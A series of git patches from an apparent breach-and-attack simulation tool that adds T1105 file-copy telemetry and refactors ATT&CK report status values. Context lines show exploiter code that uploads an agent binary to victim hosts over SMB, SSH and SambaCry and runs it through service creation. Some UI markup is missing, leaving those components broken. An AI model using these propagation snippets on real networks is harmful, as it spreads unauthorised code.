+20,7 @@ from infection_monkey.exploit import HostExploiter from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth +from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.pyinstaller_utils import get_binary_file_path from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem @@ -268,7 +269,10 @@ class SambaCryExploiter(HostExploiter): with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) - T1105Telem(ScanStatus.USED, self.host.ip_addr[0], monkey_bin_64_src_path).send() + T1105Telem(ScanStatus.USED, + get_interface_to_target(self.host.ip_addr[0]), + self.host.ip_addr[0], + monkey_bin_64_src_path).send() smb_client.disconnectTree(tree_id) def trigger_module(self, smb_client, share): diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 1c616c6e1..2c56471a4 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -7,6 +7,7 @@ import StringIO import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline +from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port from common.utils.exploit_enum import ExploitType @@ -163,11 +164,17 @@ class SSHExploiter(HostExploiter): ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), callback=self.log_transfer) ftp.chmod(self._config.dropper_target_path_linux, 0o777) - T1105Telem(ScanStatus.USED, self.host.ip_addr[0], src_path).send() + T1105Telem(ScanStatus.USED, + get_interface_to_target(self.host.ip_addr[0]), + self.host.ip_addr[0], + src_path).send() ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) - T1105Telem(ScanStatus.SCANNED, self.host.ip_addr[0], src_path).send() + T1105Telem(ScanStatus.SCANNED, + get_interface_to_target(self.host.ip_addr[0]), + self.host.ip_addr[0], + src_path).send() return False try: diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 89e755d28..af088d9eb 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -10,6 +10,7 @@ import infection_monkey.config import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'itamar' @@ -138,7 +139,10 @@ class SmbTools(object): smb.putFile(share_name, remote_path, source_file.read) file_uploaded = True - T1105Telem(ScanStatus.USED, host.ip_addr[0], dst_path).send() + T1105Telem(ScanStatus.USED, + get_interface_to_target(host.ip_addr[0]), + host.ip_addr[0], + dst_path).send() LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", src_path, share_name, share_path, host) @@ -146,7 +150,10 @@ class SmbTools(object): except Exception as exc: LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc) - T1105Telem(ScanStatus.SCANNED, host.ip_addr[0], dst_path).send() + T1105Telem(ScanStatus.SCANNED, + get_interface_to_target(host.ip_addr[0]), + host.ip_addr[0], + dst_path).send() continue finally: try: diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 1a2070ac1..d923cb60e 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -85,10 +85,12 @@ class UsersPBA(PBA): if not pba_file_contents or not pba_file_contents.content: LOG.error("Island didn't respond with post breach file.") T1105Telem(ScanStatus.SCANNED, + WormConfiguration.current_server.split(':')[0], get_interface_to_target(WormConfiguration.current_server.split(':')[0]), filename).send() return False T1105Telem(ScanStatus.USED, + WormConfiguration.current_server.split(':')[0], get_interface_to_target(WormConfiguration.current_server.split(':')[0]), filename).send() try: diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py index 171c4b963..454391da8 100644 --- a/monkey/infection_monkey/telemetry/attack/t1105_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -2,21 +2,24 @@ from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem class T1105Telem(AttackTelem): - def __init__(self, status, host, path): + def __init__(self, status, src, dst, filename): """ T1105 telemetry. :param status: ScanStatus of technique - :param host: IP of machine which downloaded the file - :param path: Uploaded file's path + :param src: IP of machine which uploaded the file + :param dst: IP of machine which downloaded the file + :param filename: Uploaded file's name """ super(T1105Telem, self).__init__('T1105', status) - self.path = path - self.host = host + self.filename = filename + self.src = src + self.dst = dst def get_data(self): data = super(T1105Telem, self).get_data() data.update({ - 'path': self.path, - 'host': self.host + 'filename': self.filename, + 'src': self.src, + 'dst': self.dst }) return data diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index b4cb2e488..8da49f637 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -9,6 +9,7 @@ from urlparse import urlsplit import infection_monkey.monkeyfs as monkeyfs from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time +from infection_monkey.exploit.tools.helpers import get_interface_to_target __author__ = 'hoffer' @@ -172,7 +173,10 @@ class HTTPServer(threading.Thread): @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) - TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send() + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True @@ -222,7 +226,10 @@ class LockedHTTPServer(threading.Thread): @staticmethod def report_download(dest=None): LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) - TempHandler.T1105Telem(TempHandler.ScanStatus.USED, dest[0], self._filename).send() + TempHandler.T1105Telem(TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 7bec85a32..fdf57fb85 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,6 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 -from monkey_island.cc.services.attack.technique_reports import T1145 +from monkey_island.cc.services.attack.technique_reports import T1145, T1105 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -17,7 +17,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1059': T1059.T1059, 'T1086': T1086.T1086, 'T1082': T1082.T1082, - 'T1145': T1145.T1145} + 'T1145': T1145.T1145, + 'T1105': T1105.T1105} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 00d3e9536..be53a7555 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -40,6 +40,14 @@ SCHEMA = { "necessary": False, "description": "Pass the hash (PtH) is a method of authenticating as a user without " "having access to the user's cleartext password." + }, + "T1105": { + "title": "T1105 Remote file copy", + "type": "bool", + "value": True, + "necessary": True, + "description": "Files may be copied from one system to another to stage " + "adversary tools or other files over the course of an operation." } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py new file mode 100644 index 000000000..176bae052 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -0,0 +1,25 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1105(AttackTechnique): + + tech_id = "T1105" + unscanned_msg = "Monkey didn't try to copy files to any systems." + scanned_msg = "Monkey tried to copy files, but failed." + used_msg = "Monkey successfully copied files to systems on the network." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': tech_id}}, + {'$project': {'_id': 0, + 'src': '$data.src', + 'dst': '$data.dst', + 'filename': '$data.filename'}}] + + @staticmethod + def get_report_data(): + data = T1105.get_tech_base_data() + data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index edd180d50..81b7dd6bf 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -52,13 +52,13 @@ class AttackTechnique(object): Gets the status of a certain attack technique. :return: ScanStatus Enum object """ - if mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.USED.value, - 'technique': cls.tech_id}): + if mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.USED.value, + 'data.technique': cls.tech_id}): return ScanStatus.USED - elif mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.SCANNED.value, - 'technique': cls.tech_id}): + elif mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.SCANNED.value, + 'data.technique': cls.tech_id}): return ScanStatus.SCANNED else: return ScanStatus.UNSCANNED diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 9885219ad..1060f4b2d 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -11,7 +11,11 @@ export function renderMachine(val){ export function renderMachineFromSystemData(data) { let machineStr = data['hostname'] + " ( "; data['ips'].forEach(function(ipInfo){ - machineStr += ipInfo['addr'] + " "; + if(typeof ipInfo === "object"){ + machineStr += ipInfo['addr'] + " "; + } else { + machineStr += ipInfo + " "; + } }); return machineStr + ")" } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js new file mode 100644 index 000000000..3f0438245 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData } from "./Helpers" + + +class T1105 extends React.Component { + + constructor(props) { + super(props); + } + + static getFilesColumns() { + return ([{ + Header: 'Files copied.', + columns: [ + {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 }, + {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170}, + {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}}, + ] + }])}; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status !== 'UNSCANNED' ? + : ""} +
+ ); + } +} + +export default T1105; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 348510175..6a9c1832c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -14,6 +14,7 @@ import T1059 from "../attack/techniques/T1059"; import T1086 from "../attack/techniques/T1086"; import T1082 from "../attack/techniques/T1082"; import T1145 from "../attack/techniques/T1145"; +import T1105 from "../attack/techniques/T1105"; const tech_components = { 'T1210': T1210, @@ -24,7 +25,8 @@ const tech_components = { 'T1059': T1059, 'T1086': T1086, 'T1082': T1082, - 'T1145': T1145 + 'T1145': T1145, + 'T1105': T1105 }; const classNames = require('classnames'); From 967fec8487df40e9398f6b320d5960344a5e5ccb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Jul 2019 13:44:15 +0300 Subject: [PATCH 007/276] Refactored scan status to use numeric value and other PR fixes --- monkey/infection_monkey/monkey.py | 6 ++---- .../monkey_island/cc/services/attack/attack_report.py | 2 +- .../cc/services/attack/technique_reports/T1107.py | 2 +- .../cc/services/attack/technique_reports/__init__.py | 10 +++++----- .../cc/ui/src/components/attack/techniques/Helpers.js | 6 ++++++ .../cc/ui/src/components/attack/techniques/T1003.js | 3 ++- .../cc/ui/src/components/attack/techniques/T1059.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1075.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1082.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1086.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1107.js | 2 +- .../cc/ui/src/components/attack/techniques/T1110.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1145.js | 4 ++-- .../src/components/report-components/AttackReport.js | 5 +++-- 14 files changed, 33 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c6c5ee8b5..37ac2c434 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -243,10 +243,8 @@ class InfectionMonkey(object): @staticmethod def self_delete(): - if utils.remove_monkey_dir(): - T1107Telem(ScanStatus.USED, utils.get_monkey_dir_path()).send() - else: - T1107Telem(ScanStatus.SCANNED, utils.get_monkey_dir_path()).send() + status = ScanStatus.USED if utils.remove_monkey_dir() else ScanStatus.SCANNED + T1107Telem(status, utils.get_monkey_dir_path()).send() if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index ff038c092..ce918aa60 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -58,12 +58,12 @@ class AttackReportService: Gets latest report (by retrieving it from db or generating a new one). :return: report dict. """ - return AttackReportService.generate_new_report() if AttackReportService.is_report_generated(): telem_time = AttackReportService.get_latest_attack_telem_time() latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) if telem_time and latest_report['latest_telem_time'] and telem_time == latest_report['latest_telem_time']: return latest_report + return AttackReportService.generate_new_report() @staticmethod def is_report_generated(): diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py index fd9f1ad10..9448c2e6b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py @@ -7,7 +7,7 @@ __author__ = "VakarisZ" class T1107(AttackTechnique): tech_id = "T1107" unscanned_msg = "" - scanned_msg = "Monkey tried to delete files on a system in the network but failed." + scanned_msg = "Monkey tried to delete files on systems in the network, but failed." used_msg = "Monkey successfully deleted files on systems in the network." query = [{'$match': {'telem_category': 'attack', diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 81b7dd6bf..15ce5ac19 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -55,13 +55,13 @@ class AttackTechnique(object): if mongo.db.telemetry.find_one({'telem_category': 'attack', 'data.status': ScanStatus.USED.value, 'data.technique': cls.tech_id}): - return ScanStatus.USED + return ScanStatus.USED.value elif mongo.db.telemetry.find_one({'telem_category': 'attack', 'data.status': ScanStatus.SCANNED.value, 'data.technique': cls.tech_id}): - return ScanStatus.SCANNED + return ScanStatus.SCANNED.value else: - return ScanStatus.UNSCANNED + return ScanStatus.UNSCANNED.value @classmethod def get_message_and_status(cls, status): @@ -70,7 +70,7 @@ class AttackTechnique(object): :param status: Enum type value from common/attack_utils.py :return: Dict with message and status """ - return {'message': cls.get_message_by_status(status), 'status': status.name} + return {'message': cls.get_message_by_status(status), 'status': status.value} @classmethod def get_message_by_status(cls, status): @@ -102,7 +102,7 @@ class AttackTechnique(object): data = {} status = cls.technique_status() title = cls.technique_title() - data.update({'status': status.name, + data.update({'status': status, 'title': title, 'message': cls.get_message_by_status(status)}) return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index 1060f4b2d..b620e82d7 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -19,3 +19,9 @@ export function renderMachineFromSystemData(data) { }); return machineStr + ")" } + +export const scanStatus = { + UNSCANNED: 0, + SCANNED: 1, + USED: 2 +}; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js index d7783714a..208840cf3 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -2,6 +2,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import '../../report-components/StolenPasswords' import StolenPasswordsComponent from "../../report-components/StolenPasswords"; +import {scanStatus} from "./Helpers" class T1003 extends React.Component { @@ -15,7 +16,7 @@ class T1003 extends React.Component {
{this.props.data.message}

- {this.props.data.status === 'USED' ? + {this.props.data.status === scanStatus.USED ? : ""}
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index 57d5bcb2c..8d5585829 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachine } from "./Helpers" +import { renderMachine, scanStatus } from "./Helpers" class T1059 extends React.Component { @@ -25,7 +25,7 @@ class T1059 extends React.Component {
{this.props.data.message}

- {this.props.data.status === 'USED' ? + {this.props.data.status === scanStatus.USED ?
{this.props.data.message}

- {this.props.data.status === 'USED' ? + {this.props.data.status !== scanStatus.UNSCANNED ?
{this.props.data.message}

- {this.props.data.status === 'USED' ? + {this.props.data.status === scanStatus.USED ?
{this.props.data.message}

- {this.props.data.status === 'USED' ? + {this.props.data.status === scanStatus.USED ?
{this.props.data.message}

- {(this.props.data.status === 'SCANNED' || this.props.data.status === 'USED') ? + {this.props.data.status !== scanStatus.UNSCANNED ?
{this.props.data.message}

- {this.props.data.status === 'USED' ? + {this.props.data.status === scanStatus.USED ? Date: Mon, 8 Jul 2019 14:51:57 +0300 Subject: [PATCH 008/276] small fixes --- .../cc/services/attack/technique_reports/__init__.py | 4 ++-- .../cc/ui/src/components/attack/techniques/T1107.js | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 15ce5ac19..d765b5f09 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -50,7 +50,7 @@ class AttackTechnique(object): def technique_status(cls): """ Gets the status of a certain attack technique. - :return: ScanStatus Enum object + :return: ScanStatus numeric value """ if mongo.db.telemetry.find_one({'telem_category': 'attack', 'data.status': ScanStatus.USED.value, @@ -97,7 +97,7 @@ class AttackTechnique(object): def get_tech_base_data(cls): """ Gathers basic attack technique data into a dict. - :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'} + :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute force'} """ data = {} status = cls.technique_status() diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js index 73b512706..56edd685a 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js @@ -11,7 +11,7 @@ class T1107 extends React.Component { } static renderDelete(status){ - if(status === 2){ + if(status === scanStatus.USED){ return Yes } else { return No From f5ed7e742223d7549b0e20e74a0facc69c36fa20 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Jul 2019 15:17:26 +0300 Subject: [PATCH 009/276] PR fix (smb exploiters sends telem if service execution failed) --- monkey/infection_monkey/exploit/smbexec.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index ee865e533..6f1667c64 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -131,10 +131,12 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, lpBinaryPathName=cmdline) service = resp['lpServiceHandle'] - T1035Telem(ScanStatus.USED, "SMB exploiter ran the monkey by creating a service via MS-SCMR.").send() try: scmr.hRStartServiceW(scmr_rpc, service) + T1035Telem(ScanStatus.USED, "SMB exploiter ran the monkey by creating a service via MS-SCMR.").send() except: + T1035Telem(ScanStatus.SCANNED, + "SMB exploiter failed to run the monkey by creating a service via MS-SCMR.").send() pass scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) From 25efdef7d3359b28c0a20b613514227bb12a89fc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Jul 2019 17:50:48 +0300 Subject: [PATCH 010/276] Changes report components to use ScanStatus value --- .../cc/services/attack/technique_reports/T1003.py | 4 ++-- .../cc/services/attack/technique_reports/T1059.py | 4 ++-- .../cc/services/attack/technique_reports/T1065.py | 2 +- .../cc/services/attack/technique_reports/T1075.py | 6 +++--- .../cc/services/attack/technique_reports/T1082.py | 4 ++-- .../cc/services/attack/technique_reports/T1086.py | 4 ++-- .../cc/services/attack/technique_reports/T1110.py | 6 +++--- .../cc/services/attack/technique_reports/T1145.py | 4 ++-- .../cc/services/attack/technique_reports/T1210.py | 6 +++--- .../cc/services/attack/technique_reports/__init__.py | 8 ++++---- 10 files changed, 24 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index a92758cbc..d9aaeaa47 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -20,8 +20,8 @@ class T1003(AttackTechnique): def get_report_data(): data = {'title': T1003.technique_title()} if mongo.db.telemetry.count_documents(T1003.query): - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1003.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 328c11112..ef15dd9fd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -27,8 +27,8 @@ class T1059(AttackTechnique): cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) data = {'title': T1059.technique_title(), 'cmds': cmd_data} if cmd_data: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1059.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index fd34e80e9..7d8ceb93e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -17,4 +17,4 @@ class T1065(AttackTechnique): def get_report_data(): port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1] T1065.used_msg = T1065.message % port - return T1065.get_base_data_by_status(ScanStatus.USED) + return T1065.get_base_data_by_status(ScanStatus.USED.value) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index fa65a66c2..623d157ae 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -35,10 +35,10 @@ class T1075(AttackTechnique): successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) data.update({'successful_logins': successful_logins}) if successful_logins: - status = ScanStatus.USED + status = ScanStatus.USED.value elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1075.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 79020c048..f59b63286 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -40,8 +40,8 @@ class T1082(AttackTechnique): system_info = list(mongo.db.telemetry.aggregate(T1082.query)) data.update({'system_info': system_info}) if system_info: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1082.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 4114047c5..dd5d64d25 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -29,8 +29,8 @@ class T1086(AttackTechnique): cmd_data = list(mongo.db.telemetry.aggregate(T1086.query)) data = {'title': T1086.technique_title(), 'cmds': cmd_data} if cmd_data: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1086.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index 91d785bc3..b918de7f4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -35,11 +35,11 @@ class T1110(AttackTechnique): result['successful_creds'].append(T1110.parse_creds(attempt)) if succeeded: - status = ScanStatus.USED + status = ScanStatus.USED.value elif attempts: - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data = T1110.get_base_data_by_status(status) # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt['attempts']] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 9b525873f..89ac44117 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -23,9 +23,9 @@ class T1145(AttackTechnique): ssh_info = list(mongo.db.telemetry.aggregate(T1145.query)) if ssh_info: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data = T1145.get_base_data_by_status(status) data.update({'ssh_info': ssh_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 6e89bc6ab..eeae183f5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -18,11 +18,11 @@ class T1210(AttackTechnique): scanned_services = T1210.get_scanned_services() exploited_services = T1210.get_exploited_services() if exploited_services: - status = ScanStatus.USED + status = ScanStatus.USED.value elif scanned_services: - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1210.get_message_and_status(status)) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index d765b5f09..a18444b4e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -67,7 +67,7 @@ class AttackTechnique(object): def get_message_and_status(cls, status): """ Returns a dict with attack technique's message and status. - :param status: Enum type value from common/attack_utils.py + :param status: Enum from common/attack_utils.py integer value :return: Dict with message and status """ return {'message': cls.get_message_by_status(status), 'status': status.value} @@ -76,12 +76,12 @@ class AttackTechnique(object): def get_message_by_status(cls, status): """ Picks a message to return based on status. - :param status: Enum type value from common/attack_utils.py + 